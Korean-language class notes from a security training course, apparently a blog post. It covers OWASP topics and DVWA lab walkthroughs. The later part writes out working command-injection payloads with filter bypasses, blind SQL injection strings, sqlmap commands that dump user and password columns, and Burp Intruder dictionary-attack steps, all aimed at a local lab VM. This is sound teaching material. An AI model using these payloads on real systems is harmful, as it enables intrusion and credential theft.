* Credential Stuffing = (A07)
- 여러군데 회원가입을 하다보니, ID/PW가 동일함
- 약한 사이트를 해킹(WebShell,RAT업로드,WebDAV업로드 등 ) 해서 고객DB를 확보 => ID/PW
- 다른 사이트에 넣어봄(ex) 홈X러스 , 금융권 , 포털 SNS 등)
- 2021년 통계에 의하면 가장 심각한 해킹 유형
- 대응방법 : 사이트마다 패스워드를 조금씩 다르게 해야 함
ex) 카톡이 털리면 지인들에게 돈빌려달라는 메시지를 보냄 => 피싱으로 연결됌
- 정기적으로 비밀번호를 교체 => 추석연휴, 설연휴때 시간많으니)
ex) 스마트폰에 패스워드가 저장되어 로그인이 되어있는 상태 => 편리함은 보안의 적
( 기본 생각 : 해킹은 이미 당했다 => 어디를 해킹당했는지를 찾는 것 , 개인정보는 이미 털렸다 => 어떻게 수습할 것인가?)
*게임 사이트, SNS 계정 => 이메일로 본인확인하는 절차 => 이메일 털리면? 본인확인을 공격자가 함
참고) 비밀번호가 나도모르게 바뀌었어요 => SQL 인젝션 UPDATE문
* 원인
=> 취약한 본인 확인 절차 (원인 : 크리덴셜 스터핑)
=> 쉬운 패스워드
=> 패스워드 변경 시도 (SQL 인젝션 등)
* 특히, 포털사이트의 PW는 다른 것으로 사용, 금융권은 PW를 다른것(강력한)으로 사용, 한글로 생각하고 영타로 입력하는 방식 => 일부로 맞춤법에 맞지 않게(외국사람이 예쌍하기 어려운)
ㅁ,ㄴ,ㅇ,ㄹ,ㅎ, 은 쉬프트를 누르지 않음 => 눌러서 사용 등등
* 무결성(Integrity)<=>변조(내용을 바꾸는 것)
원문 : "12시에 만나요 브라보콘"
변조 : "2시에 만나요 브라보콘" (1자 한개 삭제했는데, ㅠㅠ)
cf) 계약서에 이상한 내용이 들어있으면?? 다 뒤집어 씀.. ex)우영우 : 3형제 유산상속
-> 나한테 메일로 보냈던 파일과 지금 그들이 출력해온 계약서가 같을까? (사기꾼이면 다름) :해시값으로 확인
* 해시값의 특징
- 원문이 1bit라도 달라지면 다른 해시값이 나옴 => 변조를 되었는지를 알 수 있음
* 보안 솔루션 업데이트 과정에서 악성코드에 감염 => 그 업체가 이미 해킹되어서 해커가 업데이트 파일에 넣었기 때문
https://www.weeklytoday.com/news/articleView.html?idxno=3010
* 업데이틀르 안하는 문제점도 있지만,
윈도우, 스마트폰 => 자동 업데이트 기능 활성화(비교적 안전)
공유기,셋톱박스,월패드 등 Firmware 업데이트를 거의 하지 않음 => 취약점에 노출되어 있음
* 업데이틀르 했는데 악성코드에 감염되었다고 함
=> 업데이트 파일 제공회사가 털렸기 때문
=> 업데이트 파일의 서명이 반드시 필요함
A09 로깅과 모니터링
ex) 게임회사 서버 : 회사에 800대 + 클라우드 5000대 => 6000대에서 나오는 로그의 양 엄청남
ex) 쇼핑몰 서버 : 수백대 ~ 수천대 트래픽 양도 엄청나게 많음 => 확인?
보안관제 비용 : 로그를 보는 비용도 상당함
ex) 24시간 교대근무 : 주야비비 => 최소 5명 이상
6시간:06~12 , 12~18 , 18~24 , 00~06
=> 취업이 쉽고, 실전경험을 쌓을 수 있음
* 컴플라이언스(Compliance)
- 법과 규제
- 컴플라이언스를 지키는 비용 : 컨설팅 비용, 아웃소싱 비용, 구입비, 인증심사 비용, 예상치 못한 비용 등등
- 컴플라이언스를 지키지 않았을 때의 비용(벌금,과태료,집단민사소송,해커들의 돈 요구, 기업이미지 손상)
ex) 인터파크 해킹사건(2016) => 44억 8,000만원의 과징금과 2,500만원의 과태료 부과(2021.3월)
* GDPR(유럽의 개인정보보호 규정)
- 법은 아니지만 EU국가들에게 공통 적용됨(사실상 법)
- Global기업들이 약한 법을 가진 나라에서 본사를 두고 다른 데서 돈을 버는 형태
- Eu가 입국가에 공통적으로 법을 적용
- 벌금을 전세계 매출합계에서 4%를 벌금 또는 과태료 또는 과징금으로 징수
* 구글세
- 순익은 조작 가능하므로(본사에 로열티 과도 지급) 매출 대비 세금을 내라는 법(우리나라만 유일)
* 로깅과 모니터링 대응 방법
- 로그를 적절하게 생성되도록 하고, 의심스러운 행위를 파악하는 도구를 설치 => 알려주도록 설정(Alarm),중요도 설정!
* Android는 리눅스를 기반으로 만듬
iphone의 IOS는 유닉스를 기반드로 만듬
=> 리눅스나 유닉스를 대체로 /var/log/ 아래에 대부분의 로그가 잇음
=> 스마트폰이 해킹당하는 유형: 악성 앱을 설치하는 경우 또는 이상한 링크를 클릭해서 피싱사이트를 방문하는 경우
A10 ssrf(서버쪽의 조작된 요청)
- ACL(접근 통제 목록, Access Control List) : 패킷들이 들어오는 것을 허용/거부하는 목록
실습준비)
- VmWare Palyer를 실행합니다.
- uBUNTU_dvwa를 선택하고
- Play Virtual Machine을 클릭(부팅)
- 웹 브라우저 아이피주소ㅜ입력
실습) DVWA 문제풀기
- Command Injection
- 리눅스 명령어를 실행시키는 것이 목적(리눅스 명령어 : pwd , ls, ls-al, whoami, who, w, ps -ef, cat /etc/passwd 등등)
- 목적 : Ping을 실행하는 사이트에서 리눅스명령어를 실행할 수 있을까?
- 동작 방식 :
1) Low
($ ping) 192.168.5.2 && pwd // 예를 들면 , make && make install => make를 끄탠고 make install하라는 의미
&& pwd (실행 안됌) // ip주소를 사용하지 않고 && pwd를 하면 실행되지 않음 => IP 주소를 사용하지 않고 && pwd를 하면 실행되지 않음
=> &&는 앞명령이 실패하면, 뒷명령을 하지 않게 됨(앞명령어를 성공해야 뒷명령어를 수행함)
($ ping) 192.168.5.2; pwd
($ ping) ; pwd // ;(세미콜론)의 특징은 앞 명령의 결과가 뒷 명령에 영향을 주지 않음 (별개로 동작)
2) Medium
- View Source를 보면 , &&와; (세미콜론)을 NULL로 치환하고 있음, 다른 방법을 찾아야 함
(치환 방식은 좋은 방식이 아님)
192.168.5.2 | whoami // |(파이프)를 사용하면 앞이 조건, 뒤는 명령문
ping 192.168.5.2는 조건으로서, 뒤에 있는 whoami에 영향을 주지 않음 => whoami 결과만 나옴
| whoami // ping명령이 실행되지 않았지만 뒤의 명령어에 영향을 주지 않음
192.168.5.2 &&& ls -l // &&sms Null로 치환되고 & 하나 남음 => &는 앞뒤 명령이 따로따로 실행ㅅ됨
&&&& ls -l
&&&& ls -l /usr/share
&&&& ls -l /usr/share /var/log //로그 디렉토리 확인
& ls -l /var/log/apt // &&를 Null로 치환하고도 실행되기 때문에 &를 하나만 사용해도 정상 동작
192.168.5.2 || w // ping 명령은 정상 실행되지만, w 결과는 나오지 않음
=> ||는 또는(or)의 의미이므로 , 앞명령이 참이면 뒷 명령을 할 필요가 없음 참 or 거짓/참
|| w // ||의 앞에 명령이 거짓이었으므로 뒷 명령을 수행하게 됨
3) Hight
- 치환 방법은 딱 1번 적용되고 통과됨 <scr<script>ipt> => <script>를 Null로 치환 => <script>남음
|| whomai => | whoami // |와 공백이 묶여 있음 => 치환되고 있음
||pwd // |뒤에 명령어를 붙여쓰면 치환을 못함
|||pwd
|||| pwd => ||는 Null, |공백 도 Null치환 => | 한개만 남음
||||pwd => ping pwd //실행 안됌 => || => NUL, || => NUL
개발자 도구에서 high를 low로 바꾸면 반칙은 아닌데 문제를 못푼거나 마찬가지(high로 풀어야함)
&;&&;& pwd // medium 가능, high는 안됌
* Command Injection
- IOT 기기들에게 주로 많이 발생
- IOT 기기 : IP camera, CCTV, Webcam, 라즈베리파이, IP공유기, smart Tv, Wallpad, Smart Watch 등등 => 인터넷 연결
- IOT의 운영체제 : 리눅스를 Customized한 필요한 부분만 최소화해서 사용
- 원격에서 리눅스명령을 사용하면 원격 조종이됨 (RCE : Remote Command Execution, 원격 명령 실행)
- Mirai Malware : 未來(미래, 미라이) 참고) 미라이 : 만화 캐릭터 주인공
* Blind SQL 인젝션
- SQL에 대해서 잘 모르는 상태에서 DB명, Table명, Column명 등을 알아내려는 시도를 하는것
- 번호(사번)를 넣으면 있는 경우에는 exist, 없으면 missing으로 알려줌
substring() : 단어의 알파벳에 대한 정보를 확인할 수 있음
information_schema.columns (DB명,테이블명)에서 table_schema(DB이름을 저장한 컬럼)
* mysql에 들어가서 어떻게 되어있는지 확인
$ sudo ls
(sudo pw: ubuntu)
$ sudo mysql -u root -p
(pw : ubuntu)
mysql> use information_schema;
mysql> desc columns; //columns라는 테이블의 구조 보기
=> table_schema라는 컬럼이 있는데, table_schema에는 DB이름들이 들어있음
mysql> select table_schema from columns; // 컬럼스 테이블에서 table_schema의 내용을 보기
mysql> select distinct table_schema from columns; // distinct를 넣으면 중복된 결과값을 하나로 보여줌 (중복제거)
=> 결과는 DB 이름을 모두 볼 수 있는데 , information_schema와 관련된 것은 볼 필요가 없음(사용자가 만든 일반 db를 찾아야함)
가정) 나쁜 해커인데, 고객 DB를 훔치려고 한다면 , DB이름을 알아야하는데, DB에 대한 정보는 information_schema에 있을거
=> 고객 db는 information_schema, mysql, performance_schema, sys가 아닌 다른 이름을 가지고 있을거임
~가 아닌 하려면 =앞에 !를 붙이면 됨
select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1)
Limit 0,1 => 0부터 시작하므로 첫번째부터 행부터 1개
substring(문자[superman,1,1) = s // 1번부터 1개
substring(문자[superman,3,2) = p// 3번째 글자부터 1개
substring(문자superman,5,2) = rm
* 풀이방법(Sql Injection Blind dvwa)
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,1) = 'a' #
=> User ID is MISSING from the database.
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,1) = 'd' #
=>exist (맞다고함) : 따라서 첫번쨰 글자는 d라는 의미
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 2,1) = 'v' #
=> 두번째 글자는 v인가?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 3,1) = 'w' #
=> 세번째 글자는 w인가?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 4,1) = 'a' #
=> 네번째 글자는 a인가?
1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1), 1,4) = 'dvwa' #
=> 한꺼번에 물어보는방식 (dvwa 라는 db명을 알 수 있음) => limit은 0,1 첫번쨰 1,1 은 두번째 테이블 2,1은 세번쨰 테이블
* DB 이름의 길이를 확인하기
1' and length(database())=4 #
2단계 ) Table 이름을 알아내려면?
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 0,1),1,1) = 'g' #
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 0,1),2,1) = 'u' #
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 0,1),3,1) = 'e' #
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 0,1),4,1) = 's' #
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 0,1),5,1) = 't' #
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 0,1),6,1) = 'b' #
=> guestbook //방명록 말고, 우리가 찾는 것은 고객정보가 들어있는 테이블!
첫번째 줄은 guestbook이므로, 두번째 줄을 찾아보기 위해 limit 1,1 (두번째행부터 1줄)에서 찾아보도록합니다.
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 1,1),1,1) = 'u' #
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 1,1),2,1) = 's' #
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 1,1),3,1) = 'e' #
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 1,1),4,1) = 'r' #
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 1,1),5,1) = 's' #
* 한꺼번에 확인하려면?
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 1,1),1,5) = 'users' #
=> user라는 테이블이 있음을 확인
* 컬럼이름을 알아내는 SELECT문을 참고해서 어떤 컬럼이 있는지 알아내 보세요(6번째, 5번쨰 커럼이 중요)
select column_name from information_schema.columns where table_name='users';
1' and substring( (select column_name from information_schema.columns where table_name='users' limit 5,1),1,1)='p' #
1' and substring( (select column_name from information_schema.columns where table_name='users' limit 5,1),1,8)='password'#
=> 6번째가 password
1' and substring( (select column_name from information_schema.columns where table_name='users' limit 6,1),1,1)='u' #
1' and substring( (select column_name from information_schema.columns where table_name='users' limit 6,1),1,4)='user' #
=> 7번쨰가 user
* 자동화된 도구를 사용(사람이 일일이 물어보기 귀찮음)
실습준비)칼리 리눅스(자동화 도구사용방법)
- VMWare를 새로 실행
- Kali Linux를 선택하고 play Virtual Machine 클릭
$ sudo sqlmap -h // -h는 help
-u : url을 사용할 때
--cookie : cookie값을 입력할 때
--tables : 테이블 목록을 알고 싶을 때
--columns : 컬럼 목록을 알고 싶을 떄
--dump : 메모리에서 값을 확인할 때
-D DB명
-T Table
-C 컬럼명
SQQlmap 문법 : sqlmap -u "url" --cookie "쿠키값"
dvwa의 sql injection (blind)에서 주소표시줄에 있는 url을 복사 : http://192.168.50.128/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#
쿠키값은 주소 표시줄에 javascript:document.cookie : ~~~~s나올거임(java~적으면)
$ sudo sqlmap -u "http://192.168.50.128/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie 값 적기
뭘 물어보면, 대문자인것을 선택 Yes or no => y, yes or No => no
=> dvwa, information_schema , performance_schema 세개가 보임
2단계 Table이름 알아내기
$ sudo sqlmap -u "htpps주소 --cookie="쿠키값"
- D dvwa --tables
3단계) Column이름 알아내기
$ sudo sqlmap -u "https주소 --cookie="쿠키값"
- D dvwa -T users --columns
4단계) user.password의 값을 알아내기
$ sudo sqlmap -u "https주소 --cookie="쿠키값"
- D dvwa -T users -C user,password --dump
SQLmap 문법 : sqlmap -u "URL" --cookie="쿠키값"
1) URL은 주소표시줄에서 복사
dvwa의 sql injection (blind)에서 1~9사이의 번호를 입력한 후,
주소표시줄에 있는 URL을 복사 : http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#
2) 쿠키값은 직접 타이핑합니다 (Edge, Brave, Internet Explorer에서 잘 됨)
주소 표시줄에 javascript:document.cookie : security=low; PHPSESSID=5rbbk20rihqps7n1bcmai37s7h
javascript:document.cookie(웹창에 검색하면 cookie값 나옴, security=~~~ 쿠키값임)
-----> 메모장에 위의 두 값을 복사해 놓습니다.
1단계) DB이름 알아내기
$ sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5rbbk20rihqps7n1bcmai37s7h" --dbs
뭘 물어보면, 대문자인 것을 선택 YES or no ----> y, yes or NO ----> n
-----> dvwa, information_schema, performance_schema 세개 보임
2단계) Table이름 알아내기
$ sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5rbbk20rihqps7n1bcmai37s7h" -D dvwa --tables
3단계) Column이름 알아내기
$ sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5rbbk20rihqps7n1bcmai37s7h" -D dvwa -T users --columns
4단계) user, password의 값을 알아내기
$ sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5rbbk20rihqps7n1bcmai37s7h" -D dvwa -T users -C user,password --dump
* Brute force Attack
- Brute(무식한,야수의,머리를 사용하지 않고 힘만 이용하는) Brutus(브루터스 :Caesar의 암살자 중한명, 종신독재관 선출)
- 전수 대입법 : 가능한 모든 경우의수를 대입한다는 의미
ex) 숫자 4자리 : 0000~9999 , 알파벳 4자리 : AAAA ~ zzzz
- 장점 :언제가는 결과가 나오기는 함(성공확률 99%)
- 단점 : 시간이 너무 오래걸림
- 대응방법 : 시간이 완전히 오래걸리게 하면 됌( ex) 인간의 수명보다 길면 못깨는 것)
=> 길고 복잡하게 만듬(비밀번호를 14자리, 대/소/숫/특수문자 섞어서)
(실습 : https://www.security.org/how-secure-is-my-password// ) => 비밀번호 넣기
* Dictionary Attack
- Burte Force Attack이 시간이 많이 걸리기 때문에, 자주 사용하는 패스워드를 대입하는 방법
- 자주 사용하는 단어를 모아놓은 파일
* 실습 준비(Brute Force - 메모장 password 파일)
- BURP SUITE를 켜고
- 인터넷 옵션에 들어가서 프록시설정
- Burp Suite > Proxy에서 inetcept는 off로 함
- pablo / abcde를 넣습니다. (패스워드는 아무거나 ㄴ허습니다) => 틀렷다고함
- Burp Suite > http history 클릭 => Get요청(패스워드 넣은 시도)
- GET 요청에 오른쪽 마우스 클릭 > Send to Intruder 클릭
- Burp Suite의 맨위에서 두번째 라인의 Intruder 메뉴 클릭
- Positions 탭에서 password의 입력값인 abcde만 남기고 나머지는 블럭설정하고 clear 클릭
- Payloads 탭에서 simplelist 방식, Load버튼 클릭해서 Password.txt파일 선택 , Start Attack클릭
* 진짜 패스워드 찾는 방법(Length에서 확인가능)
> 틀리면 Length 값이 똑같음
> 맞으면 : Length 값이 다름
'애플리케이션 보안' 카테고리의 다른 글
루키즈 교육 - 0914 학습 (0) | 2022.09.14 |
---|---|
루키즈 교육 - 0908 학습 (0) | 2022.09.08 |
루키즈 교육 - 0906 학습 (0) | 2022.09.06 |
루키즈 교육 - 0905 학습 (0) | 2022.09.05 |
루키즈 교육 - 0902 학습 (1) | 2022.09.02 |